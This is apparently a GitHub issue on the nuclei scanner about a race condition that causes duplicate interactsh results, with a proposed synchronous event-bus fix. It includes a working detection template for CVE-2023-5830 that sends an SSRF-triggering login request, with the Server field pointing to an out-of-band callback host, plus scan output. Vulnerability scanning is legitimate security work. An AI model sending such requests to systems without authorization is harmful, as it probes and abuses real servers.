Interactsh Result Syncronization Issue causes duplicate output sometimes

Nuclei version:

main | dev

Current Behavior:

In Nuclei , we currently have two locations where results are stored/written

tmplexec package
protocols/common/interactsh package

this issue is only related to cases where interactsh is used in template and due to fallback behaviour we have for it

fallback behaviour

when template sends multiple requests or even one request and has interactsh matchers then it may not return results immediately , it might take 5s , 10s or maybe more , to handle this we implement two strategies
interactsh-cooldown-period => this is global cooldown period of interactsh
Result Event Cache => for all templates that uses oast we store current event (req/resp) and other template metadata related to that specific request in gcache . and this result event cache is used when interaction is recieved later on say after 10sec

This way we do not miss any potential oast interactions , but as we call tell this causes a race to write results in tmplexec and protocols/common/interactsh,

earlier it was observed that usually tmplexec is triggered first and then later on write is triggered in protocols/common/interactsh . so to handle this we introduced a atomic boolean switch
but now it seems like there is data race between these two and not necessarily in order .
and adding a mutex to wrappedEvent copies it by value (😢 )
we could refactor to fix this but there are other edgecases involved ex: multiple http request with shared interactsh matchers :\

Anything else:

maybe we can try to handle this at scheduler level ?
or evaluate on eviction ?
or move state in scan context and syncronize it scan context instead ?

id: CVE-2023-5830

info:
  name: ColumbiaSoft DocumentLocator - Improper Authentication
  author: Gonski
  severity: critical
  description: |
    Instances of ColumbiaSoft's Document Locator prior to version 7.2 SP4 and 2021.1 are vulnerable to an Improper Authentication/SSRF vulnerability. This template identifies vulnerable instances of the ColumbiaSoft Document Locater application by confirming external DNS interaction/lookups by modifying the value of the client-side SERVER parameter at /api/authentication/login.
  impact: |
    An attacker could exploit this vulnerability to gain unauthorized access to sensitive information.
  remediation: |
    Upgrade to a patched version of ColumbiaSoft DocumentLocator to fix the improper authentication issue.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5830
    - https://vuldb.com/?ctiid.243729
    - https://github.com/advisories/GHSA-j89v-wm7x-4434
    - https://vuldb.com/?id.243729
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-5830
    cwe-id: CWE-287
    epss-score: 0.00091
    epss-percentile: 0.37579
    cpe: cpe:2.3:a:documentlocator:document_locator:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: documentlocator
    product: document_locator
    shodan-query: 'title:"Document Locator - WebTools"'
  tags: cve,cve2023,ssrf,unauth,columbiasoft,intrusive,webtools

http:
  - raw:
      - |
        @timeout: 20s
        POST /api/authentication/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json;charset=UTF-8
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}

        {
          "LoginType":"differentWindows",
          "User":"{{randstr}}",
          "Password":"{{rand_base(5, "abc")}}",
          "Domain":"{{randstr}}",
          "Server":"{{interactsh-url}}",
          "Repository":"{{randstr}}"
        }
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - '"Authorized":false'

$ ./nuclei -u $TARGET -t a.yaml -v -ms 

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.2.3-dev

        projectdiscovery.io

[VER] Started metrics server at localhost:9092
[INF] Current nuclei version: v3.2.3-dev (development)
[INF] Current nuclei-templates version: v9.8.0 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 85
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] Using Interactsh Server: oast.pro
[VER] [CVE-2023-5830] Sent HTTP request to $TARGET/api/authentication/login
[CVE-2023-5830] [matched] [http] [critical] $TARGET/api/authentication/login
[CVE-2023-5830] [matched] [http] [critical] $TARGET/api/authentication/login

Since the whole issue appears to be the mix of asynchronous/periodic polling + callback, I think we should change the approach we are using and try to make it synchronous. For example we can introduce a shared event bus as a start, where interactsh publishes upon receiving data to queue with a specific subject (for example correlation-id that identifies a group uniquely), the caller thread will put itself in wait mode on this specific id:

Before:

request.options.Interactsh.RequestEvent(...)

After:

...
select {
    case eventbus.WaitFor(xxx.CorrelationId):
       // actual code from request.options.Interactsh.RequestEvent(..)
    case time.After(interactsh_cooldown):
}
...

Unless I'm missing something this would fix the following issues:

The race conditions would be solved by design as the processing would happen within the caller context in syncronous blocking mode and not anymore within pkg/protocols/common/interactsh/interactsh.go in deferred mode with the need of shared atomic boolean or modify the structure from different components
The continous polling and the final evict would be merged into a unique waiting logic with the advantages of both. Upon arrival the interactions would be processed and the caller can decide to stop anytime at first match or whatver, and the queue would be deleted on eviction, unblocking the caller and freeing the thread.
In case of a blocked thread on waiting before eviction, we can avoid slowdown through https://github.com/projectdiscovery/nuclei/pull/4986 (freeing the waitgroup token or increasing it upon need), similarly to how the go scheduler put idle go routines apart and start a new thread

projectdiscovery / nuclei